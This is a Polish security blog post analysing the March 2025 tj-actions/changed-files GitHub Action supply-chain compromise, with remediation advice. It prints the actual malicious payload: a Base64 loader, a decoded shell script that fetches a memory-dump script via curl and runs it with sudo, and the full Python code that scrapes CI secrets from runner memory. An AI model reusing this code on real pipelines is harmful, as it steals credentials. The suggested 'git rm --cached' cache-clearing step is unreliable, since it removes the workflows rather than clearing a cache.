CVE-2025-30066 – kolejny atak na łańcuch dostaw w GitHub

nfsec.pl 1 tydzień temu

1

4 marca 2025 roku po raz kolejny mogliśmy przekonać się jak łatwo można przeprowadzić atak na łańcuch dostaw (ang. supply chain attack). Wystarczy uderzyć w kruchość ludzkiej weryfikacji w danym projekcie, którego popularność jest na tyle duża (lub specyficzna), aby spowodować dość duże spustoszenie, problemy i zaangażowanie dużej ilości ludzi do naprawy przepuszczonego błędu. Ale od początku. Dzisiejszy model rozwoju systemu opiera się na używaniu popularnych platform typu Github, czy Gitlab itp. Oczywiście ma to swoje plusy dodatnie oraz plusy ujemne – szczególnie, gdy tego typu platformy mają swoje problemy bezpieczeństwa, które dziedziczymy razem z ich adopcją. W dodatku oferują funkcjonalności, które są najczęściej uzupełnianie przez zewnętrzne (często lepsze) rozwiązania. Takim przykładem są klocki, z których budowane są przepływy zadań / pracy (ang. workflows). Oferują one zautomatyzowane procesy uruchamiające jedno lub więcej zadań do obsługi cyklu życia oprogramowania. W przypadku GitHub są definiowane przez pliki YAML zaewidencjonowane w repozytorium projektu i zostają uruchomione automatycznie przez konkretne zdarzenie w repozytorium (np. dodanie pliku, zmianę wersji itd.). Mogą być też wyzwalane manualnie, a także według zdefiniowanego harmonogramu czasowego (ala cron).

Klockami, z których buduje się takie przepływy są odpowiednie Akcje pozwalające na jeszcze lepszą automatyzację i szybsze pisanie przepływów spełniających swoje zadania. Możemy je wykorzystać np. do pobierania repozytorium, stawiania całego środowiska dla danego języka programistycznego itd. Wszystko to dostępne jest w sklepiku za rogiem. W takim markecie mogą wystawiać swoje Akcje organizacje partnerskie, które zostały zweryfikowane przez GitHub (mają odznakę zweryfikowanego twórcy) oraz “ludzie z ulicy”, którzy stworzyli przydatny projekt dla społeczności używającej platformy GitHub. Niezależnie kto będzie autorem Akcji, której użyjemy – właśnie zrównaliśmy bezpieczeństwo i niezawodność swojego projektu z użytym klockiem. Cokolwiek pójdzie nie tak w użytej Akcji – logiczny błąd programistyczny, luka bezpieczeństwa – jej skutki będą w określonym stopniu widoczne w naszym projekcie. Gdy autorzy Akcji przepuszczą błąd logiczny – cyklicznie zaplanowane testowanie naszego projektu wysypie się o drugiej rano i będzie pluć błędami i alarmami do osoby dyżurującej. Gdy autorzy Akcji przepuszczą szkodliwy kod – następna wersja naszego projektu może zostać wydana dla użytkowników z niespodzianką w postaci złodzieja danych (ang. infostealer) lub złośliwej krypto koparki (ang. cryptojacking).

Jedna z dróg do tj-actions:

Jeśli chodzi o “nowe wersje” to każda duża platforma usługowa porusza się razem z jej większymi składnikami. Co kilka lat wymieniane są systemy operacyjne, które tracą wsparcie łatek bezpieczeństwa; co kilka lat wymieniane są kompilatory programistyczne i środowiska uruchomieniowe, które tracą wsparcie rozwojowe. Przy każdym takim skoku uwydatniają się problemy niektórych projektów open source. Te mniejsze z czasem nie są w stanie “gonić króliczka”, a te jednoosobowe są najczęściej porzucane. Wówczas pozostaje zrobienie rozwidlenia ostatniej wersji (ang. fork) przez innego programistę i kontynuacja projektu lub migracja całej społeczności na inne rozwiązanie. Przykładem takiej historii może być Akcja get-changed-files. W 9 maja 2022 roku została wydana wersja Node.js 16, a Node.js 12 straciła swój cykl życia 30 kwietnia 2022 roku. W maju, ale rok po tym fakcie GitHub ogłosił, iż wszystkie Akcje muszą przepiąć się z Node.js 12 na Node.js 16. Jeszcze przed tym faktem społeczność zgromadzona wokół get-changed-files zauważyła, iż projekt jest już porzucony i czas przepiąć się na inne podobne projekty. Finalnym gwoździem do trumny wspomnianego projektu było ogłoszenie kolejnego skoku w Akcjach Github – z Node.js 16 do Node.js 20. Część użytkowników przełączyła się na fork retrieve-changed-files, a jeszcze inni zmienili swoje przepływy na używanie changed-files od tj-actions. Chodź nie do końca należy uważać gwiazdki za wyznacznik popularności danego projektu na serwisie GitHub to widać, jak projekt ten pomnożył swoją społeczność od 2022 roku.

Atak na tj-actions/changed-files:

14 marca 2025 roku przeprowadzono atak na repozytorium Akcji tj-actions/changed-files. Owa Akcja była wówczas używana w ponad 23.000 innych repozytoriów. W ataku tym adwersarz zmodyfikował kod Akcji i wstecznie zaktualizował wiele tagów poprzednio wydanych wersji, aby odwoływały się do złośliwej modyfikacji kodu (uzyskując w ten sposób większe spektrum infekcji). Szkodliwy kod powodował zrzut pamięci z procesu obsługującego dany workflow z zainfekowaną Akcją i wyświetlał zdefiniowane w CI/CD sekrety (w formie podwójnie zakodowanego w Base64 ciągu tekstowego) jako logi z przebiegu przepływu Akcji GitHub. W przypadku publicznych repozytoriów każdy mógł odczytać logi z przepływów pracy i uzyskać ujawnione sekrety:

[ Zainfekowanie Akcji w oryginalnym repozytorium ] | |--[ Wyzwolenie Akcji CI/CD w innym repozytorium ] | |--[ Wykonawca zadania CI/CD pobiera najnowszą (zainfekowaną) Akcję ] | |--[ Wykonanie zainfekowanego kodu ] | |--[ Wypisanie zakodowanych sekretów w logach przebiegu CI/CD ] | |--[ Odkodowanie i odczytanie sekretów przez atakującego ] | |--[ Możliwe dalsze kompromitacje systemów ]

Jak dokładnie działał szkodliwy kod wyzwalany z poziomu maszyny wykonującej zadania dla aplikacji (tzw. GitHub Runner’a)? Do repozytorium Akcji dodano zakodowany w Base64 kawałek kodu:

const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9Y GN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN 0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5we SB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHs idmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2N CAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMAp maQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {

Po jego odkodowaniu widzimy, iż w systemie Linux zapisywał on i uruchamiał następujący skrypt ze ścieżki /tmp/run.sh:

if [[ "$OSTYPE" == "linux-gnu" ]]; then B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/3...5/raw/memdump.py \ | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' \ | sort -u | base64 -w 0 | base64 -w 0` echo $B64_BLOB else exit 0 fi

Zadaniem skryptu Python o nazwie memdump.py pobieranego dzięki curl jest identyfikacja numeru procesu Runner.Worker; po jego uzyskaniu następuje otworzenie mapowania pamięci procesu w ścieżce /proc i na jej podstawie przeszukanie pamięci procesu dzięki wyrażeń regularnych nastawionych na łapanie sekretów (np. osobistych tokenów dostępowych [PAT]):

#!/usr/bin/env python3 # based on https://davidebove.com/blog/?p=1620 import sys import os import re def get_pid(): # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f: if b'Runner.Worker' in cmdline_f.read(): return pid raise Exception('Can not get pid of Runner.Worker') if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue

Dane wyjściowe ze skryptu były dodatkowo filtrowane dzięki polecenia grep, aby upewnić się iż zostaną “złapane” prawidłowe dane ("isSecret":true). W celu ominięcia maskowania logów w GitHub przed wyświetleniem wszystkie sekrety zostały podwójnie zakodowane w Base64. GitHub automatycznie maskuje sekrety w logach, jeżeli pasują one do znanych wzorców, ale dzięki podwójnemu kodowaniu sekretów, atakujący skutecznie ominął to zabezpieczenie. jeżeli nasze repozytorium było publiczne to ujawnione sekrety w logach workflow były dostępne dla wszystkich. Atakujący mogli aktywnie przeszukiwać dotknięte repozytoria i wydobywać ujawnione dane uwierzytelniające w czasie rzeczywistym. jeżeli nasze repozytorium było prywatne / zamknięte wewnątrz organizacji – to nie zostały one ujawnione publicznie, ale pozostały dostępne w repozytorium, dla wszystkich do miał prawa do tego repozytorium.

Działania poincydentalne:

Jeśli używaliśmy jakiejkolwiek wersji Akcji tj-actions/changed-files w naszym repozytorium bez dodatkowej ochrony istnieje duże prawdopodobieństwo, iż staliśmy się ofiarą tego szkodliwego kodu. Należy jednak pamiętać, iż jeżeli Twoje repozytorium zostało dotknięte, ale jedynymi ujawnionymi sekretami były tokeny GitHub zaczynające się od prefiksu ghs_ (są to krótkotrwałe tokeny, które wygasają automatycznie w ciągu 24 godzin lub po zakończeniu zadania przez przepływ zadań) to w związku z tym (chyba iż zadanie zostało przerwane i nie zostało ukończone) istnieje ograniczone czasowo ryzyko wynikające z ujawnienia samego tokena typu ghs_. Ponadto, jeżeli Twoje repozytorium nie wykorzystywało / odwoływało się do niestandardowych / własnoręcznie zdefiniowanych sekretów (na przykład: ${{ secrets.MYSECRET }}), jest mało prawdopodobne, aby wrażliwe dane zostały naruszone w wyniku tego incydentu. Główne ryzyko polegało na potencjalnym ujawnieniu niestandardowych sekretów zdefiniowanych w repozytorium GitHub, które były dostępne dla przepływów zadań. W przeciwnym wypadku należy przyjąć, iż incydent może dotykać nas w poważnym stopniu. Z technicznego punktu widzenia zaczął się on 14 marca 2025 roku o godzinie 17:57 CET, a został zmitygowany 15 marca około godziny 11:30 CET poprzez usunięcie złośliwego skryptu Python oraz skompromitowanego repozytorium hostowanego na Github. Jednak przez cały czas istnieje ryzyko uruchamiania zbuforowanych Akcji i dalszego wycieku sekretów. Dlatego powinniśmy:

  • Zidentyfikować, które repozytoria używały w/w Akcji np. poprzez kwerendy w wyszukiwarce GitHub: org:$ORGANIZACJA uses: tj-actions/changed-files lub dla pojedynczego repozytorium: repo:$REPOZYTORIUM uses: tj-actions/changed-files
  • Jeśli Twoje repozytorium zawierało odwołanie do tej akcji należy przyjąć, iż zostało naruszone jego bezpieczeństwo i należy przejrzeć logi wszystkich jego przepływów zadań od czasu startu incydentu. Możemy to zrobić w menu Actions, przeszukując logi każdego wykonanego przepływu zadań pod kątem frazy: “Get changed files“. jeżeli zobaczymy pod nią zakodowane w formacie Base64 linie, powinniśmy je dwukrotnie zdekodować dzięki polecenia: echo "$BASE64" | base64 -d | base64 -d i sprawdzić jakich systemów dotyczą ukazane sekrety. Po pozytywnej identyfikacji sekretów należy uznać je za skompromitowane i natychmiast je zmienić.
  • Po zmianie sekretów należy usunąć skompromitowane przebiegi przepływów zadań, co spowoduje również usunięcie wszystkich logów zapobiegając dalszemu ujawnianiu sekretów. Przed usunięciem zalecane jest pobranie i zarchiwizowanie logów, gdyby zaistniała konieczność ponownej analizy ujawnionych danych.
  • Należy przejrzeć logi systemów, których dotyczył wyciek sekretów pod kątem podejrzanych akcji i dostępu przez osoby postronne.

Repozytorium tj-actions/changed-files zostało przywrócone do sieci wieczorem 15 marca, a złośliwy kod został zidentyfikowany i całkowicie usunięty ze wszystkich dotkniętych nim tagów i odgałęzień kodu (ang. branches). Jak zapewniają autorzy, wszystkie repozytoria w ramach organizacji tj-actions zostały dokładnie sprawdzone, a wszelkie nieautoryzowane zmiany lub podejrzane działania zostały cofnięte lub usunięte. Zostały dodatkowo wprowadzone polityki ochrony tagów, aby zapobiec modyfikacji tagów przez niezweryfikowane zmiany. jeżeli chcemy przez cały czas używać tej Akcji należy zaktualizować się do najnowszej wersji, ale przypinając się do określonej wersji dzięki skrótu SHA (patrz poniżej). Niezależnie od tego, czy zdecydujemy się używać tej samej Akcji, czy przepniemy się na inne rozwiązanie – po tym fakcie należy dla pewności wyczyścić pamięć podręczną przepływów zadań upewniając się, iż żaden zbuforowany przebieg ze złośliwym kodem nie wykona się ponownie:

git rm -r --cached .github/workflows git commit -m "Usuń pamięć podręczną z workflow" git push origin main

Mitygacja podobnego zagrożenia:

Atakujący przejęli kontrolę nad tagami repozytorium (a one nie są niemutowalne) i zmodyfikowali je, aby wskazywały na złośliwie dodany kod. W ten sposób zapewnili sobie, iż każde repozytorium niezależnie w jakiej wersji Akcji używało odwołało się do ich kodu. Wynika to z faktu, iż Akcje GitHub pobierają automatycznie najnowszą oznaczoną wersję. Dlatego choćby bez podbijania wersji, niczego niepodejrzewający programiści, boty i automaty uruchamiały skażoną wersję w swoim potoku zadań. Dlatego zgodnie z zaleceniami serwisu GitHub, powinniśmy “przypinać” wszystkie Akcje GithHub do konkretnych skrótów SHA wydań. Na przykład, zamiast:

- uses: tj-actions/changed-files@v46

Powinniśmy używać:

- uses: tj-actions/changed-files@04e315d2da92ddb97d0ec88a7d78b794f243a2ee

Przypięcie Akcji do pełnej długości skrótu SHA, który wskazuje na konkretny commit jest w tej chwili jedynym sposobem na użycie wersji w niezmiennym wydaniu. Pomaga to również zmniejszyć ryzyko, iż zły aktor doda złośliwy kod do naszego przepływu (jak w powyższym przypadku), ponieważ musiałby wygenerować kolizję SHA-1 dla prawidłowego obiektu w repozytorium git. Oczywiście wybierając dany hasz SHA musimy upewnić się, iż pochodzi on z oficjalnego repozytorium Akcji, a nie jego rozwidlenia. Jest to analogiczna sytuacja, jak dla pakietów Python, czy obrazów Docker.

Upiory przeszłości:

Jak wynika z dyskusji, która wywiązała się w projekcie do ataku doszło, ponieważ zły aktor podszył się pod bota o nazwie: renovate[bot]. Posiadał choćby taki sam avatar. Jedyną różnicą był fakt, iż jego zmiany w kodzie nie były podpisane żadnym kluczem, dlatego każdy commit nie był oznaczany jako Verified. Jest również przestawiana inna wersja, w której doszło do wycieku tokenu PAT bota, co umożliwiło przejęcie konta. Ze względu na wymagane uprawnienia do czynności jakie zostały wykonane na repozytorium – druga teza jest bardziej prawdopodobna. Co ciekawe, bardzo podobny atak przeprowadzono 4 grudnia 2024 roku na repozytorium Ultralytics. Również używając konta “marionetki” bota wykonano atak typu pwn requests, który doprowadził do wdrożenia xmlrig jako ukrytej koparki kryptowalut. W ataku tym również użyto ładunki z artykułu Adnana Khana na temat zatruwania pamięci podręcznej GitHub Actions. Sam scenariusz ataku znajduje inspirację w innym artykule tego samego autora. Użyto tego samego skryptu w języku Python do zrzutu pamięci, a jedyną różnicą w pierwszym skrypcie powłoki był fakt, iż do eksfiltracji danych użyto tymczasowego webhooka HTTP, a nie wyświetlenia sekretów w logach. Sam gist ze skryptem memdump.py należał do Nikity Stupina, który również pokazuje, jak można zaatakować GitHub Actions.

Podsumowanie:

Nie jest to pierwszy atak udowadniający potrzebę silniejszego zabezpieczania systemów CI/CD. Korzystanie z zewnętrznych rozwiązań przy wdrażaniu systemu niesie ze sobą wysokie ryzyko, a Akcje GitHub dołączają do głównego wektora ataku na różne organizacje. jeżeli używamy Akcji Github w naszym środowisku produkcyjnym – to powinniśmy przejrzeć teraz swoje przepływy zadań i zmodyfikować ich przypięcie wersji. Przejrzeć listę i ograniczyć działania Akcji tylko do tych sprawdzonych oraz wymusić odpowiednie reguły ochrony tagów i odgałęzień. Również wdrożenie zewnętrznego rozwiązania monitorującego nietypowe zachowania (np. zapisywanie ładunku w Base64 do tymczasowego katalogu, czy żądania narzędzia curl do hostingu dla fragmentów kodu) przy procesie wykonywania zadań dla cyklu życia systemu jest bardzo dobrym pomysłem.

Więcej informacji: Harden-Runner detection: tj-actions/changed-files action is compromised, CVE-2025-30066 Detail, GitHub Actions Supply Chain Compromise: tj-actions/changed-files Action, Hacker News Comments, GitHub Actions Supply Chain Attack: How tj-actions/changed-files Leaked Secrets and What You Need to Do, GitHub Action tj-actions/changed-files supply chain attack: everything you need to know, Popular GitHub Action tj-actions/changed-files is compromised, Detecting and Mitigating the “tj-actions/changed-files” Supply Chain Attack (CVE-2025-30066)

Idź do oryginalnego materiału